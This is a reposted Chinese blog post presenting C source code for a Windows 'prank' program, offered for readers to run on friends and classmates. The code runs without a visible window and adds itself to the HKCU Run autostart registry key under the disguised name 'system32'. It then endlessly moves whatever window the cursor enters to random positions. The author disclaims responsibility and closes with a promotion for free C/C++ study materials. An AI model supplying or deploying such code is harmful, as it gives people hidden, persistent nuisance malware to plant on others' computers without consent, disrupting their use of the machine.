教你一个C语言+API恶搞小程序,我已经在医院wifi挺快的

话不多说,今天给大家介绍两个好东西,就是利用C语言编写的两个恶搞小程序,有多厉害,只有你自己去试试了。

利用C语言+API写的两个恶作剧程序,我在这里说,你的朋友同学试过之后可能就会有某些冲动了。注意安全,找好退路,不要像我一样被按在角落里面………

《教你一个C语言+API恶搞小程序,我已经在医院wifi挺快的》

直接上代码:(本来想贴上GIF图的,结果转换出来很模糊~大家拿代码自己去试试哦!本程序会开机自启,请先看完视频,了解如何关闭程序再测试)

#include <stdio.h>

#include <time.h>

#include <stdlib.h>

#include <windows.h>

#pragma comment(linker,”/subsystem:”windows” /entry:”mainCRTStartup””)

int main()

{

char path[] = “Software\Microsoft\Windows\CurrentVersion\Run”;

char exepath[200]; //拿到程序本身的路径

GetModuleFileName(NULL, exepath, 200);

HKEY hkey; //注册表结构体

RegOpenKey(HKEY_CURRENT_USER, path, &hkey);

RegSetValueEx(hkey, “system32”, 0, REG_SZ, (unsigned char*)exepath, sizeof(exepath));

srand((unsigned int)time(NULL));

HWND hwnd; //定义窗口句柄

RECT rect; //矩形 top bottom left right

POINT pt;//点 x y

while (1)

{

hwnd = GetForegroundWindow();

GetWindowRect(hwnd,&rect); //获取窗口的矩形

GetCursorPos(&pt); //获取光标的坐标

//鼠标在窗口的矩形里面

if (pt.x >= rect.left&&pt.x <= rect.right&&

pt.y >= rect.top&&pt.y <= rect.bottom)

{

MoveWindow(hwnd, rand() % (1920 – 480), rand() % (1080 – 460),

480, 460, true);

}

}

return 0;

}

/*****************************

FindWindow();

MoveWindow();

GetForegroundWindow();

******************************/

//printf(“1.变羊!!

“);

//printf(“2.消失不见!!

“);

//printf(“3.幽灵模式

“);

//

//int choise;

//scanf(“%d”, &choise);

//int width = 480;

//int height = 460;

//switch (choise)

//{

//case 1:

//while (width > 0)

//{

//MoveWindow(hwnd, 800, 100, width -= 10, height -= 10, true);

//}

//break;

//case 2:

//while (width <480)

//{

//MoveWindow(hwnd, 800, 100, width += 10, height += 10, true);

//}

//break;

//case 3:

//MoveWindow(hwnd, 800, 100, 0, 0, true);

//break;

//case 4:

//MoveWindow(hwnd, 800, 100, 480, 460, true);

//break;

//}

出事不要找我,与我无关

学习从来不是一个人的事情,要有个相互监督的伙伴,工作需要学习C/C++或者为了入行、转行学习C/C++的伙伴可以私信回复小编“学习”领取全套免费C/C++学习资料、视频

《教你一个C语言+API恶搞小程序,我已经在医院wifi挺快的》

    原文作者:工程狮一图
    原文地址: https://www.jianshu.com/p/99c7740fdcae
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞